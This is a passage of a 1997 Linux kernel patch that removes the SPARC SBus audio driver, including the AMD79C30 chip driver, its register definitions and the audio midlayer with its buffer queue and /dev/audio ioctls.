__inline__ void amd7930_disable_ints(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - register unsigned long flags; - - if (!info->ints_on) - return; - - save_and_cli(flags); - info->regs->cr = AMR_INIT; - info->regs->dr = AM_INIT_ACTIVE | AM_INIT_DISABLE_INTS; - restore_flags(flags); - - info->ints_on = 0; -} - -/* Commit the local copy of the MAP registers to the amd7930. */ -static void amd7930_commit_map(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - struct amd7930 *regs = info->regs; - struct amd7930_map *map = &info->map; - unsigned long flags; - - save_and_cli(flags); - - regs->cr = AMR_MAP_GX; - amd7930_out16(regs, map->gx); - - regs->cr = AMR_MAP_GR; - amd7930_out16(regs, map->gr); - - regs->cr = AMR_MAP_STGR; - amd7930_out16(regs, map->stgr); - - regs->cr = AMR_MAP_GER; - amd7930_out16(regs, map->ger); - - regs->cr = AMR_MAP_MMR1; - regs->dr = map->mmr1; - - regs->cr = AMR_MAP_MMR2; - regs->dr = map->mmr2; - - restore_flags(flags); -} - -/* Interrupt handler (The chip takes only one byte per interrupt. Grrr!) */ -static void amd7930_interrupt(int irq, void *dev_id, struct pt_regs *intr_regs) -{ - struct sparcaudio_driver *drv = (struct sparcaudio_driver *)dev_id; - struct amd7930_info *info = (struct amd7930_info *)drv->private; - struct amd7930 *regs = info->regs; - __u8 dummy; - - /* Clear the interrupt. */ - dummy = regs->ir; - - /* Send the next byte of outgoing data. */ - if (info->output_ptr && info->output_count > 0) { - /* Send the next byte and advance buffer pointer. */ - regs->bbtb = *(info->output_ptr); - info->output_ptr++; - info->output_count--; - - /* Done with the buffer? Notify the midlevel driver. */ - if (info->output_count == 0) { - info->output_ptr = NULL; - info->output_count = 0; - sparcaudio_output_done(drv); - } - } - - /* Read the next byte of incoming data. */ - if (info->input_ptr && info->input_count > 0) { - /* Get the next byte and advance buffer pointer. */ - *(info->input_ptr) = regs->bbrb; - info->input_ptr++; - info->input_count--; - - /* Done with the buffer? Notify the midlevel driver. */ - if (info->input_count == 0) { - info->input_ptr = NULL; - info->input_count = 0; - sparcaudio_input_done(drv); - } - } -} - - -static int amd7930_open(struct inode * inode, struct file * file, - struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - int level; - - /* Set the default audio parameters. */ - info->map.gx = gx_coeff[128]; - info->map.stgr = gx_coeff[0]; - - level = (128 * (256 + NR_GER_COEFFS)) >> 8; - if (level >= 256) { - info->map.ger = ger_coeff[level-256]; - info->map.gr = gx_coeff[255]; - } else { - info->map.ger = ger_coeff[0]; - info->map.gr = gx_coeff[level]; - } - - info->map.mmr2 |= AM_MAP_MMR2_LS; - - amd7930_commit_map(drv); - - MOD_INC_USE_COUNT; - - return 0; -} - -static void amd7930_release(struct inode * inode, struct file * file, - struct sparcaudio_driver *drv) -{ - amd7930_disable_ints(drv); - MOD_DEC_USE_COUNT; -} - -static void amd7930_start_output(struct sparcaudio_driver *drv, - __u8 * buffer, unsigned long count) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - - info->output_ptr = buffer; - info->output_count = count; - amd7930_enable_ints(drv); -} - -static void amd7930_stop_output(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - - info->output_ptr = NULL; - info->output_count = 0; - - if (!info->input_ptr) - amd7930_disable_ints(drv); -} - -static void amd7930_start_input(struct sparcaudio_driver *drv, - __u8 * buffer, unsigned long count) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - - info->input_ptr = buffer; - info->input_count = count; - amd7930_enable_ints(drv); -} - -static void amd7930_stop_input(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - - info->input_ptr = NULL; - info->input_count = 0; - - if (!info->output_ptr) - amd7930_disable_ints(drv); -} - -static void amd7930_sunaudio_getdev(struct sparcaudio_driver *drv, - audio_device_t * audinfo) -{ - strncpy(audinfo->name, "amd7930", sizeof(audinfo->name) - 1); - strncpy(audinfo->version, "x", sizeof(audinfo->version) - 1); - strncpy(audinfo->config, "audio", sizeof(audinfo->config) - 1); -} - - -/* - * Device detection and initialization. - */ - -static struct sparcaudio_driver drivers[MAX_DRIVERS]; -static int num_drivers; - -static struct sparcaudio_operations amd7930_ops = { - amd7930_open, - amd7930_release, - NULL, /* amd7930_ioctl */ - amd7930_start_output, - amd7930_stop_output, - amd7930_start_input, - amd7930_stop_input, - amd7930_sunaudio_getdev, -}; - -/* Attach to an amd7930 chip given its PROM node. */ -static int amd7930_attach(struct sparcaudio_driver *drv, int node, - struct linux_sbus *sbus, struct linux_sbus_device *sdev) -{ - struct linux_prom_registers regs; - struct linux_prom_irqs irq; - struct amd7930_info *info; - int err; - - /* Allocate our private information structure. */ - drv->private = kmalloc(sizeof(struct amd7930_info), GFP_KERNEL); - if (!drv->private) - return -ENOMEM; - - /* Point at the information structure and initialize it. */ - drv->ops = &amd7930_ops; - info = (struct amd7930_info *)drv->private; - info->output_ptr = info->input_ptr = NULL; - info->output_count = info->input_count = 0; - info->ints_on = 1; /* force disable below */ - - /* Map the registers into memory. */ - prom_getproperty(node, "reg", (char *)®s, sizeof(regs)); - if (sbus && sdev) - prom_apply_sbus_ranges(sbus, ®s, 1, sdev); - info->regs_size = regs.reg_size; - info->regs = sparc_alloc_io(regs.phys_addr, 0, regs.reg_size, - "amd7930", regs.which_io, 0); - if (!info->regs) { - printk(KERN_ERR "amd7930: could not allocate registers\n"); - kfree(drv->private); - return -EIO; - } - - /* Disable amd7930 interrupt generation. */ - amd7930_disable_ints(drv); - - /* Initialize the MUX unit to connect the MAP to the CPU. */ - info->regs->cr = AMR_MUX_1_4; - info->regs->dr = (AM_MUX_CHANNEL_Bb << 4) | AM_MUX_CHANNEL_Ba; - info->regs->dr = 0; - info->regs->dr = 0; - info->regs->dr = AM_MUX_MCR4_ENABLE_INTS; - - /* Attach the interrupt handler to the audio interrupt. */ - prom_getproperty(node, "intr", (char *)&irq, sizeof(irq)); - info->irq = irq.pri; - request_irq(info->irq, amd7930_interrupt, - SA_INTERRUPT, "amd7930", drv); - enable_irq(info->irq); - - /* Initalize the local copy of the MAP registers. */ - memset(&info->map, 0, sizeof(info->map)); - info->map.mmr1 = AM_MAP_MMR1_GX | AM_MAP_MMR1_GER - | AM_MAP_MMR1_GR | AM_MAP_MMR1_STG; - - /* Register the amd7930 with the midlevel audio driver. */ - err = register_sparcaudio_driver(drv); - if (err < 0) { - printk(KERN_ERR "amd7930: unable to register\n"); - disable_irq(info->irq); - free_irq(info->irq, drv); - sparc_free_io(info->regs, info->regs_size); - kfree(drv->private); - return -EIO; - } - - /* Announce the hardware to the user. */ - printk(KERN_INFO "amd7930 at 0x%lx irq %d\n", - (unsigned long)info->regs, info->irq); - - /* Success! */ - return 0; -} - -#ifdef MODULE -/* Detach from an amd7930 chip given the device structure. */ -static void amd7930_detach(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - - unregister_sparcaudio_driver(drv); - amd7930_disable_ints(drv); - disable_irq(info->irq); - free_irq(info->irq, drv); - sparc_free_io(info->regs, info->regs_size); - kfree(drv->private); -} -#endif - - -/* Probe for the amd7930 chip and then attach the driver. */ -#ifdef MODULE -int init_module(void) -#else -__initfunc(int amd7930_init(void)) -#endif -{ - struct linux_sbus *bus; - struct linux_sbus_device *sdev; - int node; - -#if 0 -#ifdef MODULE - register_symtab(0); -#endif -#endif - - /* Try to find the sun4c "audio" node first. */ - node = prom_getchild(prom_root_node); - node = prom_searchsiblings(node, "audio"); - if (node && amd7930_attach(&drivers[0], node, NULL, NULL) == 0) - num_drivers = 1; - else - num_drivers = 0; - - /* Probe each SBUS for amd7930 chips. */ - for_all_sbusdev(sdev,bus) { - if (!strcmp(sdev->prom_name, "audio")) { - /* Don't go over the max number of drivers. */ - if (num_drivers >= MAX_DRIVERS) - continue; - - if (amd7930_attach(&drivers[num_drivers], - sdev->prom_node, sdev->my_bus, sdev) == 0) - num_drivers++; - } - } - - /* Only return success if we found some amd7930 chips. */ - return (num_drivers > 0) ? 0 : -EIO; -} - -#ifdef MODULE -void cleanup_module(void) -{ - register int i; - - for (i = 0; i < num_drivers; i++) { - amd7930_detach(&drivers[i]); - num_drivers--; - } -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/audio/amd7930.h linux/drivers/sbus/audio/amd7930.h --- linux-2.1.29/drivers/sbus/audio/amd7930.h Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/audio/amd7930.h Wed Dec 31 19:00:00 1969 @@ -1,163 +0,0 @@ -/* - * drivers/sbus/audio/amd7930.h - * - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - * - * Definitions for the AMD79C30 Digital Subscriber Controller which is - * used as an audio chip in sun4c architecture machines. The - * information in this file is based on Advanced Micro Devices - * Publication 09893, Rev G, Amendment /0, Final (a.k.a. the data - * sheet). - */ - -#ifndef _AMD7930_H_ -#define _AMD7930_H_ - -#include - -/* Register interface presented to the CPU by the amd7930. */ -struct amd7930 -{ - __volatile__ __u8 cr; /* Command Register (W) */ -#define ir cr /* Interrupt Register (R) */ - __volatile__ __u8 dr; /* Data Register (R/W) */ - __volatile__ __u8 dsr1; /* D-channel Status Register 1 (R) */ - __volatile__ __u8 der; /* D-channel Error Register (R) */ - __volatile__ __u8 dctb; /* D-channel Transmit Buffer (W) */ -#define dcrb dctb /* D-channel Receive Buffer (R) */ - __volatile__ __u8 bbtb; /* Bb-channel Transmit Buffer (W) */ -#define bbrb bbtb /* Bb-channel Receive Buffer (R) */ - __volatile__ __u8 bctb; /* Bc-channel Transmit Buffer (W) */ -#define bcrb bctb /* Bc-channel Receive Buffer (R) */ - __volatile__ __u8 dsr2; /* D-channel Status Register 2 (R) */ -}; - - -/* Indirect registers in the Main Audio Processor. */ -struct amd7930_map { - __u16 x[8]; - __u16 r[8]; - __u16 gx; - __u16 gr; - __u16 ger; - __u16 stgr; - __u16 ftgr; - __u16 atgr; - __u8 mmr1; - __u8 mmr2; -}; - - -/* The amd7930 has "indirect registers" which are accessed by writing - * the register number into the Command Register and then reading or - * writing values from the Data Register as appropriate. We define the - * AMR_* macros to be the indirect register numbers and AM_* macros to - * be bits in whatever register is referred to. - */ - -/* Initialization */ -#define AMR_INIT 0x21 -#define AM_INIT_ACTIVE 0x01 -#define AM_INIT_DATAONLY 0x02 -#define AM_INIT_POWERDOWN 0x03 -#define AM_INIT_DISABLE_INTS 0x04 -#define AMR_INIT2 0x20 -#define AM_INIT2_ENABLE_POWERDOWN 0x20 -#define AM_INIT2_ENABLE_MULTIFRAME 0x10 - -/* Line Interface Unit */ -#define AMR_LIU_LSR 0xA1 -#define AMR_LIU_LPR 0xA2 -#define AMR_LIU_LMR1 0xA3 -#define AMR_LIU_LMR2 0xA4 -#define AMR_LIU_2_4 0xA5 -#define AMR_LIU_MF 0xA6 -#define AMR_LIU_MFSB 0xA7 -#define AMR_LIU_MFQB 0xA8 - -/* Multiplexor */ -#define AMR_MUX_MCR1 0x41 -#define AMR_MUX_MCR2 0x42 -#define AMR_MUX_MCR3 0x43 -#define AM_MUX_CHANNEL_B1 0x01 -#define AM_MUX_CHANNEL_B2 0x02 -#define AM_MUX_CHANNEL_Ba 0x03 -#define AM_MUX_CHANNEL_Bb 0x04 -#define AM_MUX_CHANNEL_Bc 0x05 -#define AM_MUX_CHANNEL_Bd 0x06 -#define AM_MUX_CHANNEL_Be 0x07 -#define AM_MUX_CHANNEL_Bf 0x08 -#define AMR_MUX_MCR4 0x44 -#define AM_MUX_MCR4_ENABLE_INTS 0x08 -#define AM_MUX_MCR4_REVERSE_Bb 0x10 -#define AM_MUX_MCR4_REVERSE_Bc 0x20 -#define AMR_MUX_1_4 0x45 - -/* Main Audio Processor */ -#define AMR_MAP_X 0x61 -#define AMR_MAP_R 0x62 -#define AMR_MAP_GX 0x63 -#define AMR_MAP_GR 0x64 -#define AMR_MAP_GER 0x65 -#define AMR_MAP_STGR 0x66 -#define AMR_MAP_FTGR_1_2 0x67 -#define AMR_MAP_ATGR_1_2 0x68 -#define AMR_MAP_MMR1 0x69 -#define AM_MAP_MMR1_ALAW 0x01 -#define AM_MAP_MMR1_GX 0x02 -#define AM_MAP_MMR1_GR 0x04 -#define AM_MAP_MMR1_GER 0x08 -#define AM_MAP_MMR1_X 0x10 -#define AM_MAP_MMR1_R 0x20 -#define AM_MAP_MMR1_STG 0x40 -#define AM_MAP_MMR1_LOOPBACK 0x80 -#define AMR_MAP_MMR2 0x6A -#define AM_MAP_MMR2_AINB 0x01 -#define AM_MAP_MMR2_LS 0x02 -#define AM_MAP_MMR2_ENABLE_DTMF 0x04 -#define AM_MAP_MMR2_ENABLE_TONEGEN 0x08 -#define AM_MAP_MMR2_ENABLE_TONERING 0x10 -#define AM_MAP_MMR2_DISABLE_HIGHPASS 0x20 -#define AM_MAP_MMR2_DISABLE_AUTOZERO 0x40 -#define AMR_MAP_1_10 0x6B -#define AMR_MAP_MMR3 0x6C -#define AMR_MAP_STRA 0x6D -#define AMR_MAP_STRF 0x6E -#define AMR_MAP_PEAKX 0x70 -#define AMR_MAP_PEAKR 0x71 -#define AMR_MAP_15_16 0x72 - -/* Data Link Controller */ -#define AMR_DLC_FRAR_1_2_3 0x81 -#define AMR_DLC_SRAR_1_2_3 0x82 -#define AMR_DLC_TAR 0x83 -#define AMR_DLC_DRLR 0x84 -#define AMR_DLC_DTCR 0x85 -#define AMR_DLC_DMR1 0x86 -#define AMR_DLC_DMR2 0x87 -#define AMR_DLC_1_7 0x88 -#define AMR_DLC_DRCR 0x89 -#define AMR_DLC_RNGR1 0x8A -#define AMR_DLC_RNGR2 0x8B -#define AMR_DLC_FRAR4 0x8C -#define AMR_DLC_SRAR4 0x8D -#define AMR_DLC_DMR3 0x8E -#define AMR_DLC_DMR4 0x8F -#define AMR_DLC_12_15 0x90 -#define AMR_DLC_ASR 0x91 -#define AMR_DLC_EFCR 0x92 - -/* Peripheral Port */ -#define AMR_PP_PPCR1 0xC0 -#define AMR_PP_PPSR 0xC1 -#define AMR_PP_PPIER 0xC2 -#define AMR_PP_MTDR 0xC3 -#define AMR_PP_MRDR 0xC3 -#define AMR_PP_CITDR0 0xC4 -#define AMR_PP_CIRDR0 0xC4 -#define AMR_PP_CITDR1 0xC5 -#define AMR_PP_CIRDR1 0xC5 -#define AMR_PP_PPCR2 0xC8 -#define AMR_PP_PPCR3 0xC9 - -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/audio/audio.c linux/drivers/sbus/audio/audio.c --- linux-2.1.29/drivers/sbus/audio/audio.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/audio/audio.c Wed Dec 31 19:00:00 1969 @@ -1,386 +0,0 @@ -/* - * drivers/sbus/audio/audio.c - * - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - * - * This is the audio midlayer that sits between the VFS character - * devices and the low-level audio hardware device drivers. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "audio.h" - - -/* - * Low-level driver interface. - */ - -/* We only support one low-level audio driver currently. */ -static struct sparcaudio_driver *driver = NULL; - -int register_sparcaudio_driver(struct sparcaudio_driver *drv) -{ - int i; - - /* If a driver is already present, don't allow the register. */ - if (driver) - return -EIO; - - /* Ensure that the driver has a proper operations structure. */ - if (!drv->ops || !drv->ops->start_output || !drv->ops->stop_output) - return -EINVAL; - - /* Setup the circular queue of output buffers. */ - drv->num_output_buffers = 32; - drv->output_front = 0; - drv->output_rear = 0; - drv->output_count = 0; - drv->output_active = 0; - drv->output_buffers = kmalloc(32 * sizeof(__u8 *), GFP_KERNEL); - drv->output_sizes = kmalloc(32 * sizeof(size_t), GFP_KERNEL); - if (!drv->output_buffers || !drv->output_sizes) { - if (drv->output_buffers) - kfree(drv->output_buffers); - if (drv->output_sizes) - kfree(drv->output_sizes); - return -ENOMEM; - } - - /* Allocate the pages for each output buffer. */ - for (i = 0; i < drv->num_output_buffers; i++) { - drv->output_buffers[i] = (void *) __get_free_page(GFP_KERNEL); - if (!drv->output_buffers[i]) { - int j; - for (j = 0; j < i; j++) - free_page((unsigned long) drv->output_buffers[j]); - kfree(drv->output_buffers); - kfree(drv->output_sizes); - return -ENOMEM; - } - } - - /* Ensure that the driver is marked as not being open. */ - drv->flags = 0; - - MOD_INC_USE_COUNT; - - driver = drv; - return 0; -} - -int unregister_sparcaudio_driver(struct sparcaudio_driver *drv) -{ - int i; - - /* Make sure that the current driver is unregistering. */ - if (driver != drv) - return -EIO; - - /* Deallocate the queue of output buffers. */ - for (i = 0; i < driver->num_output_buffers; i++) - free_page((unsigned long) driver->output_buffers[i]); - kfree(driver->output_buffers); - kfree(driver->output_sizes); - - MOD_DEC_USE_COUNT; - - driver = NULL; - return 0; -} - -static void sparcaudio_output_done_task(void * arg) -{ - struct sparcaudio_driver *drv = (struct sparcaudio_driver *)arg; - unsigned long flags; - - printk(KERN_DEBUG "sparcaudio: next buffer (of=%d)\n",drv->output_front); - save_and_cli(flags); - drv->ops->start_output(drv, - drv->output_buffers[drv->output_front], - drv->output_sizes[drv->output_front]); - drv->output_active = 1; - restore_flags(flags); -} - -void sparcaudio_output_done(struct sparcaudio_driver * drv) -{ - /* Point the queue after the "done" buffer. */ - drv->output_front = (drv->output_front + 1) % drv->num_output_buffers; - drv->output_count--; - - /* If the output queue is empty, shutdown the driver. */ - if (drv->output_count == 0) { - /* Stop the lowlevel driver from outputing. */ - printk("sparcaudio: lowlevel driver shutdown\n"); - drv->ops->stop_output(drv); - drv->output_active = 0; - - /* Wake up any waiting writers or syncers and return. */ - wake_up_interruptible(&drv->output_write_wait); - wake_up_interruptible(&drv->output_drain_wait); - return; - } - - /* Otherwise, queue a task to give the driver the next buffer. */ - drv->tqueue.next = NULL; - drv->tqueue.sync = 0; - drv->tqueue.routine = sparcaudio_output_done_task; - drv->tqueue.data = drv; - - queue_task(&drv->tqueue, &tq_immediate); - mark_bh(IMMEDIATE_BH); - - /* Wake up any tasks that are waiting. */ - wake_up_interruptible(&drv->output_write_wait); -} - -void sparcaudio_input_done(struct sparcaudio_driver * drv) -{ - /* XXX Implement! */ -} - - - -/* - * VFS layer interface - */ - -static int sparcaudio_lseek(struct inode * inode, struct file * file, - off_t offset, int origin) -{ - return -ESPIPE; -} - -static int sparcaudio_read(struct inode * inode, struct file * file, - char *buf, int count) -{ - /* XXX Implement me! */ - return -EINVAL; -} - -static int sparcaudio_write(struct inode * inode, struct file * file, - const char *buf, int count) -{ - unsigned long flags; - int bytes_written = 0, bytes_to_copy, err; - - /* Ensure that we have something to write. */ - if (count < 1) - return 0; - - /* Loop until all output is written to device. */ - while (count > 0) { - /* Check to make sure that an output buffer is available. */ - if (driver->output_count == driver->num_output_buffers) { - printk(KERN_DEBUG "sparcaudio: waiting for free buffer\n"); - interruptible_sleep_on(&driver->output_write_wait); - if (current->signal & ~current->blocked) - return bytes_written > 0 ? bytes_written : -EINTR; - } - - /* Determine how much we can copy in this iteration. */ - bytes_to_copy = count; - if (bytes_to_copy > PAGE_SIZE) - bytes_to_copy = PAGE_SIZE; - - copy_from_user_ret(driver->output_buffers[driver->output_rear], - buf, bytes_to_copy, -EFAULT); - - printk(KERN_DEBUG "Stuffing %d in %d\n", - bytes_to_copy, driver->output_rear); - - /* Update the queue pointers. */ - buf += bytes_to_copy; - count -= bytes_to_copy; - bytes_written += bytes_to_copy; - driver->output_sizes[driver->output_rear] = bytes_to_copy; - driver->output_rear = (driver->output_rear + 1) % driver->num_output_buffers; - driver->output_count++; - - /* If the low-level driver is not active, activate it. */ - save_and_cli(flags); - if (! driver->output_active) { - printk(KERN_DEBUG "sparcaudio: activating lowlevel driver\n"); - driver->ops->start_output(driver, driver->output_buffers[driver->output_front], - driver->output_sizes[driver->output_front]); - driver->output_active = 1; - } - restore_flags(flags); - } - - /* Return the number of bytes written to the caller. */ - return bytes_written; -} - -static int sparcaudio_ioctl(struct inode * inode, struct file * file, - unsigned int cmd, unsigned long arg) -{ - int retval = 0; - - switch (cmd) { - case AUDIO_DRAIN: - if (driver->output_count > 0) { - interruptible_sleep_on(&driver->output_drain_wait); - retval = (current->signal & ~current->blocked) ? -EINTR : 0; - } - break; - - case AUDIO_GETDEV: - if (driver->ops->sunaudio_getdev) { - audio_device_t tmp; - - driver->ops->sunaudio_getdev(driver, &tmp); - - copy_to_user_ret((audio_device_t *)arg, &tmp, sizeof(tmp), -EFAULT); - } else - retval = -EINVAL; - break; - - default: - if (driver->ops->ioctl) - retval = driver->ops->ioctl(inode,file,cmd,arg,driver); - else - retval = -EINVAL; - } - - return retval; -} - -static int sparcaudio_open(struct inode * inode, struct file * file) -{ - int err; - - /* A low-level audio driver must exist. */ - if (!driver) - return -ENODEV; - - /* We only support minor #4 (/dev/audio) right now. */ - if (MINOR(inode->i_rdev) != 4) - return -ENXIO; - - /* If the driver is busy, then wait to get through. */ - retry_open: - if (file->f_mode & FMODE_READ && driver->flags & SDF_OPEN_READ) { - if (file->f_flags & O_NONBLOCK) - return -EBUSY; - - interruptible_sleep_on(&driver->open_wait); - if (current->signal & ~current->blocked) - return -EINTR; - goto retry_open; - } - if (file->f_mode & FMODE_WRITE && driver->flags & SDF_OPEN_WRITE) { - if (file->f_flags & O_NONBLOCK) - return -EBUSY; - - interruptible_sleep_on(&driver->open_wait); - if (current->signal & ~current->blocked) - return -EINTR; - goto retry_open; - } - - /* Mark the driver as locked for read and/or write. */ - if (file->f_mode & FMODE_READ) - driver->flags |= SDF_OPEN_READ; - if (file->f_mode & FMODE_WRITE) { - driver->output_front = 0; - driver->output_rear = 0; - driver->output_count = 0; - driver->output_active = 0; - driver->flags |= SDF_OPEN_WRITE; - } - - /* Allow the low-level driver to initialize itself. */ - if (driver->ops->open) { - err = driver->ops->open(inode,file,driver); - if (err < 0) - return err; - } - - MOD_INC_USE_COUNT; - - /* Success! */ - return 0; -} - -static void sparcaudio_release(struct inode * inode, struct file * file) -{ - /* Wait for any output still in the queue to be played. */ - if (driver->output_count > 0) - interruptible_sleep_on(&driver->output_drain_wait); - - /* Force any output to be stopped. */ - driver->ops->stop_output(driver); - driver->output_active = 0; - - /* Let the low-level driver do any release processing. */ - if (driver->ops->release) - driver->ops->release(inode,file,driver); - - if (file->f_mode & FMODE_READ) - driver->flags &= ~(SDF_OPEN_READ); - - if (file->f_mode & FMODE_WRITE) - driver->flags &= ~(SDF_OPEN_WRITE); - - MOD_DEC_USE_COUNT; - - wake_up_interruptible(&driver->open_wait); -} - -static struct file_operations sparcaudio_fops = { - sparcaudio_lseek, - sparcaudio_read, - sparcaudio_write, - NULL, /* sparcaudio_readdir */ - NULL, /* sparcaudio_select */ - sparcaudio_ioctl, - NULL, /* sparcaudio_mmap */ - sparcaudio_open, - sparcaudio_release -}; - -EXPORT_SYMBOL(register_sparcaudio_driver); -EXPORT_SYMBOL(unregister_sparcaudio_driver); -EXPORT_SYMBOL(sparcaudio_output_done); -EXPORT_SYMBOL(sparcaudio_input_done); - -#ifdef MODULE -int init_module(void) -#else -__initfunc(int sparcaudio_init(void)) -#endif -{ - /* Register our character device driver with the VFS. */ - if (register_chrdev(SOUND_MAJOR, "sparcaudio", &sparcaudio_fops)) - return -EIO; - -#ifdef CONFIG_SPARCAUDIO_AMD7930 - amd7930_init(); -#endif - -#ifdef CONFIG_SPARCAUDIO_CS4231 - cs4231_init(); -#endif - - return 0; -} - -#ifdef MODULE -void cleanup_module(void) -{ - unregister_chrdev(SOUND_MAJOR, "sparcaudio"); -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/audio/audio.h linux/drivers/sbus/audio/audio.h --- linux-2.1.29/drivers/sbus/audio/audio.h Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/audio/audio.h Wed Dec 31 19:00:00 1969 @@ -1,287 +0,0 @@ -/* - * drivers/sbus/audio/audio.h - * - * Sparc Audio Midlayer - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - */ - -#ifndef _AUDIO_H_ -#define _AUDIO_H_ - -/* - * SunOS/Solaris /dev/audio interface - */ - -#include -#include -#include - -/* - * This structure contains state information for audio device IO streams. - */ -typedef struct audio_prinfo { - /* - * The following values describe the audio data encoding. - */ - unsigned int sample_rate; /* samples per second */ - unsigned int channels; /* number of interleaved channels */ - unsigned int precision; /* bit-width of each sample */ - unsigned int encoding; /* data encoding method */ - - /* - * The following values control audio device configuration - */ - unsigned int gain; /* gain level: 0 - 255 */ - unsigned int port; /* selected I/O port (see below) */ - unsigned int avail_ports; /* available I/O ports (see below) */ - unsigned int _xxx[2]; /* Reserved for future use */ - - unsigned int buffer_size; /* I/O buffer size */ - - /* - * The following values describe driver state - */ - unsigned int samples; /* number of samples converted */ - unsigned int eof; /* End Of File counter (play only) */ - - unsigned char pause; /* non-zero for pause, zero to resume */ - unsigned char error; /* non-zero if overflow/underflow */ - unsigned char waiting; /* non-zero if a process wants access */ - unsigned char balance; /* stereo channel balance */ - - unsigned short minordev; - - /* - * The following values are read-only state flags - */ - unsigned char open; /* non-zero if open access permitted */ - unsigned char active; /* non-zero if I/O is active */ -} audio_prinfo_t; - - -/* - * This structure describes the current state of the audio device. - */ -typedef struct audio_info { - /* - * Per-stream information - */ - audio_prinfo_t play; /* output status information */ - audio_prinfo_t record; /* input status information */ - - /* - * Per-unit/channel information - */ - unsigned int monitor_gain; /* input to output mix: 0 - 255 */ - unsigned char output_muted; /* non-zero if output is muted */ - unsigned char _xxx[3]; /* Reserved for future use */ - unsigned int _yyy[3]; /* Reserved for future use */ -} audio_info_t; - - -/* - * Audio encoding types - */ -#define AUDIO_ENCODING_NONE (0) /* no encoding assigned */ -#define AUDIO_ENCODING_ULAW (1) /* u-law encoding */ -#define AUDIO_ENCODING_ALAW (2) /* A-law encoding */ -#define AUDIO_ENCODING_LINEAR (3) /* Linear PCM encoding */ -#define AUDIO_ENCODING_DVI (104) /* DVI ADPCM */ -#define AUDIO_ENCODING_LINEAR8 (105) /* 8 bit UNSIGNED */ - -/* - * These ranges apply to record, play, and monitor gain values - */ -#define AUDIO_MIN_GAIN (0) /* minimum gain value */ -#define AUDIO_MAX_GAIN (255) /* maximum gain value */ - -/* - * These values apply to the balance field to adjust channel gain values - */ -#define AUDIO_LEFT_BALANCE (0) /* left channel only */ -#define AUDIO_MID_BALANCE (32) /* equal left/right channel */ -#define AUDIO_RIGHT_BALANCE (64) /* right channel only */ -#define AUDIO_BALANCE_SHIFT (3) - -/* - * Generic minimum/maximum limits for number of channels, both modes - */ -#define AUDIO_MIN_PLAY_CHANNELS (1) -#define AUDIO_MAX_PLAY_CHANNELS (4) -#define AUDIO_MIN_REC_CHANNELS (1) -#define AUDIO_MAX_REC_CHANNELS (4) - -/* - * Generic minimum/maximum limits for sample precision - */ -#define AUDIO_MIN_PLAY_PRECISION (8) -#define AUDIO_MAX_PLAY_PRECISION (32) -#define AUDIO_MIN_REC_PRECISION (8) -#define AUDIO_MAX_REC_PRECISION (32) - -/* - * Define some convenient names for typical audio ports - */ -/* - * output ports (several may be enabled simultaneously) - */ -#define AUDIO_SPEAKER 0x01 /* output to built-in speaker */ -#define AUDIO_HEADPHONE 0x02 /* output to headphone jack */ -#define AUDIO_LINE_OUT 0x04 /* output to line out */ - -/* - * input ports (usually only one at a time) - */ -#define AUDIO_MICROPHONE 0x01 /* input from microphone */ -#define AUDIO_LINE_IN 0x02 /* input from line in */ -#define AUDIO_CD 0x04 /* input from on-board CD inputs */ -#define AUDIO_INTERNAL_CD_IN AUDIO_CD /* input from internal CDROM */ - - -/* - * This macro initializes an audio_info structure to 'harmless' values. - * Note that (~0) might not be a harmless value for a flag that was - * a signed int. - */ -#define AUDIO_INITINFO(i) { \ - unsigned int *__x__; \ - for (__x__ = (unsigned int *)(i); \ - (char *) __x__ < (((char *)(i)) + sizeof (audio_info_t)); \ - *__x__++ = ~0); \ -} - - -/* - * Parameter for the AUDIO_GETDEV ioctl to determine current - * audio devices. - */ -#define MAX_AUDIO_DEV_LEN (16) -typedef struct audio_device { - char name[MAX_AUDIO_DEV_LEN]; - char version[MAX_AUDIO_DEV_LEN]; - char config[MAX_AUDIO_DEV_LEN]; -} audio_device_t; - - -/* - * Ioctl calls for the audio device. - */ - -/* - * AUDIO_GETINFO retrieves the current state of the audio device. - * - * AUDIO_SETINFO copies all fields of the audio_info structure whose - * values are not set to the initialized value (-1) to the device state. - * It performs an implicit AUDIO_GETINFO to return the new state of the - * device. Note that the record.samples and play.samples fields are set - * to the last value before the AUDIO_SETINFO took effect. This allows - * an application to reset the counters while atomically retrieving the - * last value. - * - * AUDIO_DRAIN suspends the calling process until the write buffers are - * empty. - * - * AUDIO_GETDEV returns a structure of type audio_device_t which contains - * three strings. The string "name" is a short identifying string (for - * example, the SBus Fcode name string), the string "version" identifies - * the current version of the device, and the "config" string identifies - * the specific configuration of the audio stream. All fields are - * device-dependent -- see the device specific manual pages for details. - */ -#define AUDIO_GETINFO _IOR('A', 1, audio_info_t) -#define AUDIO_SETINFO _IOWR('A', 2, audio_info_t) -#define AUDIO_DRAIN _IO('A', 3) -#define AUDIO_GETDEV _IOR('A', 4, audio_device_t) - -/* - * The following ioctl sets the audio device into an internal loopback mode, - * if the hardware supports this. The argument is TRUE to set loopback, - * FALSE to reset to normal operation. If the hardware does not support - * internal loopback, the ioctl should fail with EINVAL. - */ -#define AUDIO_DIAG_LOOPBACK _IOW('A', 101, int) - -#ifdef notneeded -/* - * Structure sent up as a M_PROTO message on trace streams - */ -typedef struct audtrace_hdr audtrace_hdr_t; -struct audtrace_hdr { - 